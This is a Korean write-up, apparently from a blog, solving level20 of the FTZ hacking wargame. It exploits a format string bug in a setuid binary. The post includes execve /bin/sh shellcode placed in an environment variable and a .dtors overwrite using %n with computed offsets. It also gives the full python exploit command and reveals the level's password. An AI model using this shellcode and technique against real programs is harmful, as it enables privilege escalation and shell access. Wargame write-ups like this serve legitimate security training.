본문 바로가기

System Security/FTZ

FTZ level20

FTZ level 20
 - Question
  · level20 ID로 Login해서 clear의 password를 찾기


 - Solution

  · 'level20' Directory의 hint 내용을 확인해보면 Hint로 attackme File의 Source Code가 제공된다.
  · 기존과는 Level과는 달리 gdb를 통해 분석할 수 없도록 main함수의 Symbol이 모두 삭제되어 있어 gdb를 통해 분석하는 것이 불가능하다.
  · Source Code 분석
  ◦ fgets 함수와 printf에 서식문자가 사용되지 않은 점으로 Format String Attack을 해야 한다.
  · Format String을 통한 Memory 구조 확인

  ◦ 문자열을 삽입 후 %08x의 개수를 증가시키면서 Test 해보면 12Byte 이후 부분부터 삽입했던 문자열이 출력되는 것을 확인할 수 있으며 이점으로 미뤄 Stack Memory의 구조를 파악할 수 있다.
  ◦ Process Stack Memory

   ▹ attackme Program의 Stack Memory 구조(Disassembly Code의 구조)는 위와 같이 예상 할 수 있다.
  · Format String을 이용한 공격의 방법

  ◦ 앞서 확인한 내용을 그림으로 표현하면 위와 같이 표현할 수 있다.
  ◦ 여기서 printf() 이후 Dummy 함수 바로 뒤의 buf 영역을 이용해 .dtors의 주소 바로 다음에 있는 Return Address에 즉, .dtors Address+4 지점에 Egg_Shell을 넣는다면 Shell Code가 실행될 것이다.
  · Egg_Shell 생성

  ◦ export 명령어를 이용해 Egg Shell을 환경변수에 등록한다.
  ◦ 명령어 

1
export eggsh=`python -'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc2\x89\xc1\x89\xc3\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
cs

  ◦ gcc Compiler를 이용해 Egg Shell의 주소를 가져오는 실행 File을 만든다.
  ◦ 만들어낸 Program을 이용해 Egg Shell의 주소를 확인해보면 '0xbffffe8d'이라는 것을 알 수 있다.
  ◦ Source Code

1
2
3
4
5
#include <stdio.h>
int main()
{
    printf("egg : %p\n", getenv("eggsh"));
}
cs

  · .dtors 주소 구하기

  ◦ objdump를 이용해 .dtors의 주소를 확인한다.
  ◦ 실행 후 확인된 주소에서 두 번째 영역에 있는 주소 값에 +4를 한 값이 Return Adress의 주소 값이다.
  · Exploit의 구조 및 값
  ◦ Exploit의 논리적 구조

   ▹ buf 변수 영역에 .dtors+4의 주소를 넣고 %08x를 이용해 Format String Bug를 실행시키면 printf() 함수가 종료된 후 .dtors+4 주소의 Code가 실행된다.
   ▹ 첫 번째 Format String Bug가 실행된 후 %c를 이용해 Byte를 채운 후 %n을 실행하면 Dummy 영역에는 %c의 Size인 4Byte가 채워지고 .dtors+4에는 Size 만큼의 16진수 값이 채워진다. 
   ▹ 여기서 .dtors+4에 채워진 주소가 Egg Shell의 주소여야 한다.
   ▹ printf()함수가 종료되면 .dtors가 실행되어 Program이 종료되고 .dtors+4 지점의 주소 값으로 인해 Egg_Shell을 실행한다.
    ※ 사용된 서식 문자 기능
     ›  %c : 1Byte 씩 채운다.(Format String Attack에서 기능 : width Field를 이용해 Byte 수를 조정할 수 있다.)
     ›  %n : 앞서 사용된 서식 문자의 Byte 수만큼 채운다.(Format String Attack에서 기능 : 앞서 %c를 이용해 채운 Byte 수를 채워 출력한다
.)
  ◦ Exploit의 실제 구조

   ▹ .dtors+4 지점을 작성 시 4Byte(Dword) 값이 필요하게 되는데 Integer 값은 음수와 양수 범위가 존재해 주소가 너무 크면 음수로 변환되어 주소가 제대로 채워지지 않으며 음수로 채우려 해도 Byte 수를 세는 %n이 음수를 나타낼 수도 없다.
   ▹ 따라서 .dtors와 Egg_Shell 모두 2Byte씩 나눠 주소를 저장해줘야 한다.
   ▹ 앞서 알아낸 Egg_Shell의 주소인 0xbffffe8d 또한 일반 정수로 채우면 음수 범위로 인식하기 때문에 2Byte 씩 나눠 주소를 저장해야한다.
  ◦ Exploit의 실제 값

   ▹ 4Byte 씩 구분하기 위해 중간 중간에 4Byte Dummy Code를 채워주며 .dtors+4 .dtors+6의 주소를 채운다.
   ▹ 삽입할 주소 값 계산 방법
    ▸  %n은 10진수 정수 값을 취급하므로 16진수 값을 10진수로 변환해 계산해줘야 한다.
    ▸  마지막 주소인 0xfe8d의 경우 마지막 주소를 지칭하며 %n은 앞서 출력한 모든 값을 Byte로 환산해 넣기 때문에 기존에 사용한 '\x90'부터 '%08x'까지 모든 Byte인 40Byte(4+4+4+4+8+8+8)를 빼줘야 한다.
    ▸  40Byte를 빼주면 기존의 40Byte + 계산 값(65125)로 원래 값인 0xfe8d(65165)이 .dtors+4 지점에 저장된다.
    ▸  앞 주소인 0xbfff의 경우 처음 주소를 지칭해 40Byte를 뺄 필요는 없지만 앞서 0xfe8d의 계산 값이 미리 출력되었으므로 0xfe8d을 빼줘야 하며 0xbfff가 0xfe8d보다 작기 때문에 0x1bfff에서 0xfe8d을 빼줘야 한다.
    ▸  0xfe8d을 빼주면 기존의 0xfe8d(65165) + 계산 값(49522)로 원래 값인 0xbfff(114687) .dtors+6 지점에 저장된다.
    ▸  0xfe8d 65165(0xfe8d) - 40Byte = 65125
    ▸  0xbfff 114687(0x1bfff) - 65165 = 49522
  ◦ 최종 Exploit 

1
" \x90"*4+"\x98\x95\x04\x08"+"\x90"*4+"\x9a\x95\x04\x08"+"%08x%08x%08x"+"%65125c"+"%n"+"%49522c"+"%n"Colored by Color Scripter
cs

  · 명령어를 이용한 공격

  ◦ Python을 이용해 공격해본다.

  ◦ 명령어

1
(python -'print "\x90"*4+"\x98\x95\x04\x08"+"\x90"*4+"\x9a\x95\x04\x08"+"%08x%08x%08x"+"%65125c"+"%n"+"%49522c"+"%n"';cat)| ./attackme
cs

  ◦ my-pass 명령어를 이용해 Password를 확인해본다.


 - Answer
  · clear's Password : i will come in a minute
 

'System Security > FTZ' 카테고리의 다른 글

FTZ level19  (0) 2015.08.18
FTZ level18  (0) 2015.08.18
FTZ level17  (0) 2015.08.18
​FTZ level16  (0) 2015.08.18
​FTZ level15  (0) 2015.08.18